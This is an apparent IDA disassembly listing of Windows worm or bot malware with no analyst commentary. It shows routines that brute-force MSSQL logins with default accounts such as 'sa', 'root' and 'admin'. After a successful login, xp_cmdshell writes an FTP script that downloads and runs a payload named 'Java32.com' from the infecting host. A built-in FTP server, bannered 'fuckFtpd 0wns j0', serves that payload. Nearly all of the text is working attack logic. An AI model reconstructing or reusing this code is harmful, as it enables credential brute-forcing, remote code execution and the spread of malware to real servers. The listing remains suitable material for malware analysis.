					; sub_404BCE+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404DA5
		call	sub_41FFBC


loc_404DA5:				; CODE XREF: sub_404D92+Cj
		mov	ecx, edi
		call	sub_404EB6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404DBB
		mov	ebx, eax


loc_404DBB:				; CODE XREF: sub_404D92+25j
		test	ebx, ebx
		jbe	short loc_404DF1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416470
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C9C
		test	al, al
		jz	short loc_404DF1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404DF1:				; CODE XREF: sub_404D92+2Bj
					; sub_404D92+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DF9	proc near		; CODE XREF: sub_404C9C+79p
		mov	eax, offset loc_42026C
		call	sub_416438
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404E1F
		mov	edi, [ebp+8]


loc_404E1F:				; CODE XREF: sub_404DF9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404E2C
		xor	eax, eax


loc_404E2C:				; CODE XREF: sub_404DF9+2Fj
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E38:				; DATA XREF: seg001:00421F0Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E47
		xor	eax, eax


loc_404E47:				; CODE XREF: sub_404DF9+4Aj
		push	eax
		call	sub_4167A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E57
		retn
; ---------------------------------------------------------------------------


loc_404E57:				; DATA XREF: sub_404DF9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_404E5D:				; CODE XREF: sub_404DF9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E7B
		cmp	eax, edi
		jbe	short loc_404E6A
		mov	eax, edi


loc_404E6A:				; CODE XREF: sub_404DF9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4155B0
		add	esp, 0Ch


loc_404E7B:				; CODE XREF: sub_404DF9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404D21
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E9B
		mov	edi, ebx


loc_404E9B:				; CODE XREF: sub_404DF9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EB6	proc near		; CODE XREF: sub_404D92+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EE3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EE3
		cmp	al, 0FFh
		jz	short loc_404EE3
		push	1
		call	sub_404D21
		push	esi
		call	sub_415CD0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D5D


loc_404EE3:				; CODE XREF: sub_404EB6+9j
					; sub_404EB6+10j ...
		pop	edi
		pop	esi
		retn
sub_404EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EE6	proc near		; DATA XREF: seg002:00423008o
		test	ds:byte_46974C,	1
		jnz	short loc_404EF6
		or	ds:byte_46974C,	1


loc_404EF6:				; CODE XREF: sub_404EE6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_416820
		pop	ecx
		retn
sub_404EE6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F08	proc near		; CODE XREF: seg000:0040516Cp

var_E2C		= byte ptr -0E2Ch
var_A2C		= byte ptr -0A2Ch
var_62C		= byte ptr -62Ch
var_22C		= byte ptr -22Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E2Ch
		mov	al, ds:byte_438F8C
		push	esi
		mov	[ebp+var_1], al
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], offset aRoot ; "root"
		mov	[ebp+var_24], offset aAdmin ; "admin"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	ds:dword_43A2EC
		test	ax, ax
		jnz	short loc_404F68
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	ds:dword_43A3F0
		test	ax, ax
		jz	short loc_404F6F


loc_404F68:				; CODE XREF: sub_404F08+47j
		xor	eax, eax
		jmp	loc_405148
; ---------------------------------------------------------------------------


loc_404F6F:				; CODE XREF: sub_404F08+5Ej
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	ds:dword_43A2EC
		test	ax, ax
		jnz	loc_40513B
		test	esi, esi
		push	ebx
		jz	loc_40512C
		mov	edi, ds:dword_421060
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], eax
		mov	ebx, offset aJava32_com	; "Java32.com"


loc_404FA1:				; CODE XREF: sub_404F08+1CFj
		cmp	ds:off_42C318, 0
		jz	loc_4050CB
		mov	eax, offset off_42C318
		mov	esi, eax


loc_404FB5:				; CODE XREF: sub_404F08+122j
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A2C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E2C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	ds:dword_43A3A4
		test	ax, ax
		jz	short loc_405031
		cmp	ax, 1
		jz	short loc_405031
		push	1F4h
		call	edi
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404FB5
		jmp	loc_4050CB
; ---------------------------------------------------------------------------


loc_405031:				; CODE XREF: sub_404F08+10Bj
					; sub_404F08+111j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	ds:dword_43A2EC
		push	ebx
		push	ebx
		call	sub_415529
		push	eax
		call	sub_415529
		push	eax
		push	ds:dword_438FAC
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4154CD
		add	esp, 20h
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_43A32C
		test	ax, ax
		jz	short loc_4050C0
		mov	esi, 1388h
		push	esi
		call	edi
		push	ebx
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_43A32C
		test	ax, ax
		jz	short loc_4050DC
		push	esi
		call	edi


loc_4050C0:				; CODE XREF: sub_404F08+17Fj
		push	[ebp+var_8]
		push	3
		call	ds:dword_43A384


loc_4050CB:				; CODE XREF: sub_404F08+A0j
					; sub_404F08+124j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_40512C
		jmp	loc_404FA1
; ---------------------------------------------------------------------------


loc_4050DC:				; CODE XREF: sub_404F08+1B3j
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_40510A
		push	0
		lea	eax, [ebp+var_22C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_40510A:				; CODE XREF: sub_404F08+1E2j
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_40512C:				; CODE XREF: sub_404F08+82j
					; sub_404F08+1CDj
		push	[ebp+var_10]
		push	2
		call	ds:dword_43A384
		mov	edi, [ebp+var_18]
		pop	ebx


loc_40513B:				; CODE XREF: sub_404F08+79j
		push	[ebp+var_14]
		push	1
		call	ds:dword_43A384
		mov	eax, edi


loc_405148:				; CODE XREF: sub_404F08+62j
		pop	edi
		pop	esi
		leave
		retn
sub_404F08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F08
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051A0	proc near		; CODE XREF: seg000:0040539Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp+var_C], eax
		mov	ax, ds:word_4266D8
		push	eax
		call	ds:dword_43A368
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43A3E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052B9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052B9
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A380
		mov	esi, offset aJava32_com	; "Java32.com"
		push	esi
		push	esi
		push	ds:dword_438FAC
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4052B9
		push	1F4h
		call	ds:dword_421060
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4052BD


loc_4052B9:				; CODE XREF: sub_4051A0+51j
					; sub_4051A0+67j ...
		xor	al, al
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052BD:				; CODE XREF: sub_4051A0+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A380
		push	ebx
		call	ds:dword_43A400
		mov	al, 1


loc_4052DB:				; CODE XREF: sub_4051A0+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051A0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	ds:dword_4211C8
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40530A
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4211D8
		mov	ebx, eax
		jmp	short loc_405310
; ---------------------------------------------------------------------------


loc_40530A:				; CODE XREF: seg000:004052FAj
		mov	ebx, [ebp+0C0h]


loc_405310:				; CODE XREF: seg000:00405308j
		push	11h
		push	2
		push	2
		call	ds:dword_4211E0
		test	esi, esi
		mov	edi, eax
		jz	short loc_40533A
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		jmp	short loc_40533D
; ---------------------------------------------------------------------------


loc_40533A:				; CODE XREF: seg000:00405320j
		mov	[ebp-0Ch], ebx


loc_40533D:				; CODE XREF: seg000:00405338j
		test	esi, esi
		jz	short loc_40534B
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_405351
; ---------------------------------------------------------------------------


loc_40534B:				; CODE XREF: seg000:0040533Fj
		mov	word ptr [ebp-10h], 2


loc_405351:				; CODE XREF: seg000:00405349j
		push	598h
		call	ds:dword_4211DC
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4211E4
		test	eax, eax
		jnz	short loc_4053D6
		push	eax
		push	152h
		push	offset dword_426584
		push	edi
		call	ds:dword_4211EC
		push	3E8h
		call	ds:dword_421060
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4051A0
		add	esp, 0BCh
		test	al, al
		jz	short loc_4053B2
		push	1
		pop	eax
		jmp	short loc_4053E8
; ---------------------------------------------------------------------------


loc_4053B2:				; CODE XREF: seg000:004053ABj
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]
		jmp	short loc_4053E6
; ---------------------------------------------------------------------------


loc_4053D6:				; CODE XREF: seg000:0040536Fj
		push	1
		push	edi
		call	ds:dword_4211CC
		push	edi
		call	ds:dword_4211F0


loc_4053E6:				; CODE XREF: seg000:004053D4j
		xor	eax, eax


loc_4053E8:				; CODE XREF: seg000:004053B0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053ED	proc near		; DATA XREF: seg000:00407480o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_4211B0
		push	edi
		call	loc_416AB4
		push	eax
		call	sub_41551F
		push	0FA00h
		push	471h
		call	sub_41407E
		add	esp, 10h
		mov	ds:dword_438FAC, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_4211E0
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_4211B4
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_4211B8
		mov	ax, word ptr ds:dword_438FAC
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_4211DC
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4211BC
		test	eax, eax
		jge	short loc_4054C2
		mov	eax, ebx
		jmp	loc_4059E9
; ---------------------------------------------------------------------------


loc_4054C2:				; CODE XREF: sub_4053ED+CCj
		push	0Ah
		push	esi
		call	ds:dword_4211C0
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_4211EC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054E0:				; CODE XREF: sub_4053ED+12Cj
					; sub_4053ED+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_4211D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059E6
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054E0


loc_40551B:				; CODE XREF: sub_4053ED+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415550
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_4200E6
		test	eax, eax
		jz	loc_4059D4
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055D2
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4211C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D4
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_40559C
		lea	edx, [ebp+var_224]


loc_40558C:				; CODE XREF: sub_4053ED+1ADj
		cmp	[edx], eax
		jz	short loc_40559C
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_40558C


loc_40559C:				; CODE XREF: sub_4053ED+197j
					; sub_4053ED+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055BA
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055BA
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055BA:				; CODE XREF: sub_4053ED+1B5j
					; sub_4053ED+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055C2
		mov	[ebp+var_4], eax


loc_4055C2:				; CODE XREF: sub_4053ED+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4055D2:				; CODE XREF: sub_4053ED+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4211E8
		test	eax, eax
		jg	short loc_405639
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40562D
		lea	eax, [ebp+var_224]


loc_4055F9:				; CODE XREF: sub_4053ED+216j
		cmp	[eax], edi
		jz	short loc_405607
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055F9
		jmp	short loc_40562D
; ---------------------------------------------------------------------------


loc_405607:				; CODE XREF: sub_4053ED+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405627
		lea	eax, [ebp+ecx*4+var_224]


loc_405613:				; CODE XREF: sub_4053ED+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_405613


loc_405627:				; CODE XREF: sub_4053ED+21Dj
		dec	[ebp+var_228]


loc_40562D:				; CODE XREF: sub_4053ED+204j
					; sub_4053ED+218j
		push	edi
		call	ds:dword_4211F0
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_405639:				; CODE XREF: sub_4053ED+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416A80
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4158F0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40567D
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_40567D:				; CODE XREF: sub_4053ED+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056A1
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_4056A1:				; CODE XREF: sub_4053ED+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056C5
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_4056C5:				; CODE XREF: sub_4053ED+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E9
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_4056E9:				; CODE XREF: sub_4053ED+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_4268E0
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40570D
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_40570D:				; CODE XREF: sub_4053ED+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405748
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405748
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_405748:				; CODE XREF: sub_4053ED+335j
					; sub_4053ED+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405783
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405783
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_405783:				; CODE XREF: sub_4053ED+370j
					; sub_4053ED+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057D1
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057C1:				; CODE XREF: sub_4053ED+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx
		xor	esi, esi


loc_4057C9:				; CODE XREF: sub_4053ED+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059C2
; ---------------------------------------------------------------------------


loc_4057D1:				; CODE XREF: sub_4053ED+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405812
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057C1
; ---------------------------------------------------------------------------


loc_405812:				; CODE XREF: sub_4053ED+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058E5
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416A80
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_415A3F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_415A3F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415550
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4154CD
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416A69
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4154CD
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx
		jmp	loc_4057C9
; ---------------------------------------------------------------------------


loc_4058E5:				; CODE XREF: sub_4053ED+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
